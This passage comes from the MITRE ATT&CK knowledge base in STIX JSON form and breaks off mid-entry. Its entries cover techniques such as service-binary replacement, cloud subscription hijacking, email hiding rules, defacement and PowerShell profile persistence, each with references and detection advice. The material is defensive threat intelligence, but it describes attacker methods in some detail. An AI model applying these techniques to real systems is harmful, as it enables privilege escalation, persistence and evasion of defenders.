            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices",
                "Windows"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Drive: Drive Access",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
            "created": "2017-05-31T21:30:43.063Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1044",
                    "external_id": "T1044"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/17.html",
                    "external_id": "CAPEC-17"
                },
                {
                    "source_name": "Mozilla Firefox Installer DLL Hijack",
                    "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
                    "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"
                },
                {
                    "source_name": "Seclists Kanthak 7zip Installer",
                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
                    "url": "http://seclists.org/fulldisclosure/2015/Dec/34"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:08.051Z",
            "name": "File System Permissions Weakness",
            "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)",
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                    "phase_name": "persistence"
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                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.2"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e",
            "created": "2024-03-11T13:37:31.836Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/007",
                    "external_id": "T1588.007"
                },
                {
                    "source_name": "WSJ-Vishing-AI24",
                    "description": "Catherine Stupp. (2019, August 30). Fraudsters Used AI to Mimic CEO\u2019s Voice in Unusual Cybercrime Case. Retrieved March 18, 2025.",
                    "url": "https://www.wsj.com/articles/fraudsters-use-ai-to-mimic-ceos-voice-in-unusual-cybercrime-case-11567157402"
                },
                {
                    "source_name": "Google-Vishing24",
                    "description": "Emily Astranova, Pascal Issa. (2024, July 23). Whose Voice Is It Anyway? AI-Powered Voice Spoofing for Next-Gen Vishing Attacks. Retrieved March 18, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks"
                },
                {
                    "source_name": "IC3-AI24",
                    "description": "IC3. (2024, December 3). Criminals Use Generative Artificial Intelligence to Facilitate Financial Fraud. Retrieved March 18, 2025.",
                    "url": "https://www.ic3.gov/PSA/2024/PSA241203"
                },
                {
                    "source_name": "MSFT-AI",
                    "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
                },
                {
                    "source_name": "OpenAI-CTI",
                    "description": "OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024.",
                    "url": "https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:05.447Z",
            "name": "Artificial Intelligence",
            "description": "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI) \n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI) Finally, AI-generated text, images, audio, and video may be used for fraud, [Impersonation](https://attack.mitre.org/techniques/T1656), and other malicious activities.(Citation: Google-Vishing24)(Citation: IC3-AI24)(Citation: WSJ-Vishing-AI24)\n",
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                {
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                    "phase_name": "resource-development"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Menachem Goldstein"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. [Phishing](https://attack.mitre.org/techniques/T1566), [Phishing for Information](https://attack.mitre.org/techniques/T1598)).",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--0ce73446-8722-4086-9d43-514f1d0f669e",
            "created": "2024-09-25T14:16:19.234Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1666",
                    "external_id": "T1666"
                },
                {
                    "source_name": "AWS Organizations",
                    "description": "AWS. (n.d.). Terminology and concepts for AWS Organizations. Retrieved September 25, 2024.",
                    "url": "https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html"
                },
                {
                    "source_name": "AWS RE:Inforce Threat Detection 2024",
                    "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.",
                    "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
                },
                {
                    "source_name": "Microsoft Subscription Hijacking 2022",
                    "description": "Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions using Microsoft Defender for Cloud Apps. Retrieved September 5, 2023.",
                    "url": "https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121"
                },
                {
                    "source_name": "Microsoft Azure Resources",
                    "description": "Microsoft Azure. (2024, May 31). Organize your Azure resources effectively. Retrieved September 25, 2024.",
                    "url": "https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-setup-guide/organize-resources"
                },
                {
                    "source_name": "Microsoft Peach Sandstorm 2023",
                    "description": "Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved September 18, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:49:45.874Z",
            "name": "Modify Cloud Resource Hierarchy",
            "description": "Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses.  \n\nIaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.(Citation: AWS Organizations)(Citation: Microsoft Azure Resources)\n\nAdversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim\u2019s compute resources without generating logs on the victim tenant.(Citation: Microsoft Peach Sandstorm 2023)(Citation: Microsoft Subscription Hijacking 2022)\n\nIn AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.(Citation: AWS RE:Inforce Threat Detection 2024)",
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                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
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            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff",
            "created": "2021-06-07T13:20:23.767Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/008",
                    "external_id": "T1564.008"
                },
                {
                    "source_name": "MacOS Email Rules",
                    "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.",
                    "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"
                },
                {
                    "source_name": "Microsoft BEC Campaign",
                    "description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"
                },
                {
                    "source_name": "Microsoft Mail Flow Rules 2023",
                    "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
                    "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
                },
                {
                    "source_name": "Microsoft Inbox Rules",
                    "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.",
                    "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59"
                },
                {
                    "source_name": "Microsoft New-InboxRule",
                    "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps"
                },
                {
                    "source_name": "Microsoft Set-InboxRule",
                    "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps"
                },
                {
                    "source_name": "Microsoft Cloud App Security",
                    "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.",
                    "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:27:09.849Z",
            "name": "Email Hiding Rules",
            "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).",
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                    "phase_name": "defense-evasion"
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            ],
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            "x_mitre_contributors": [
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                "Liran Ravich, CardinalOps"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the <code>New-InboxRule</code> and <code>Set-InboxRule</code> PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the <code>RulesActiveState.plist</code>, <code>SyncedRules.plist</code>, <code>UnsyncedRules.plist</code>, and <code>MessageRules.plist</code> files.(Citation: MacOS Email Rules)",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3",
            "created": "2020-02-20T14:34:08.496Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1491/002",
                    "external_id": "T1491.002"
                },
                {
                    "source_name": "Anonymous Hackers Deface Russian Govt Site",
                    "description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.",
                    "url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/"
                },
                {
                    "source_name": "FireEye Cyber Threats to Media Industries",
                    "description": "FireEye. (n.d.). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210719110553/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf"
                },
                {
                    "source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence",
                    "description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.",
                    "url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf"
                },
                {
                    "source_name": "Trend Micro Deep Dive Into Defacement",
                    "description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.",
                    "url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:34:21.584Z",
            "name": "External Defacement",
            "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)",
            "kill_chain_phases": [
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                    "description": "Jai Minton. (2023, March 31). How Falcon OverWatch Investigates Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads. Retrieved March 29, 2024.",
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                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
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                    "source_name": "GitHub Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
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                    "source_name": "Cloudflare SynFlood",
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                    "external_id": "T1014"
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                    "source_name": "CrowdStrike Linux Rootkit",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
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                    "source_name": "BlackHat Mac OSX Rootkit",
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                    "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
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                    "source_name": "Symantec Windows Rootkits",
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                {
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
                },
                {
                    "source_name": "Microsoft About Profiles",
                    "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"
                },
                {
                    "source_name": "Microsoft Profiles",
                    "description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.",
                    "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:06.292Z",
            "name": "PowerShell Profile",
            "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Allen DeRyke, ICE",
                "Matt Green, @mgreen27"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\n\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\\\\\[My ]Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\\\\\[My ]Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "created": "2020-06-23T19:12:24.924Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/007",
                    "external_id": "T1059.007"
                },
                {
                    "source_name": "Apple About Mac Scripting 2016",
                    "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html"
                },
                {
                    "source_name": "MDSec macOS JXA and VSCode",
                    "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.",
                    "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/"
                },
                {
                    "source_name": "Microsoft JScript 2007",
                    "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020.",
                    "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript"
                },
                {
                    "source_name": "Microsoft Windows Scripts",
                    "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.",
                    "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces"
                },
                {
                    "source_name": "JScrip May 2018",
                    "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.",
                    "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript"
                },
                {
                    "source_name": "NodeJS",
                    "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.",
                    "url": "https://nodejs.org/"
                },
                {
                    "source_name": "SentinelOne macOS Red Team",
                    "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
                    "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
                },
                {
                    "source_name": "SpecterOps JXA 2020",
                    "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.",
                    "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"
                },
                {
                    "source_name": "Red Canary Silver Sparrow Feb2021",
                    "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.",
                    "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:43:16.394Z",
            "name": "JavaScript",
            "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Cody Thomas, SpecterOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Process: Process Creation",
                "Script: Script Execution",
                "Command: Command Execution"
            ],
            "x_mitre_remote_support": false
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea",
            "created": "2020-10-02T15:47:10.102Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1590/002",
                    "external_id": "T1590.002"
                },
                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
                },
                {
                    "source_name": "DNS-CISA",
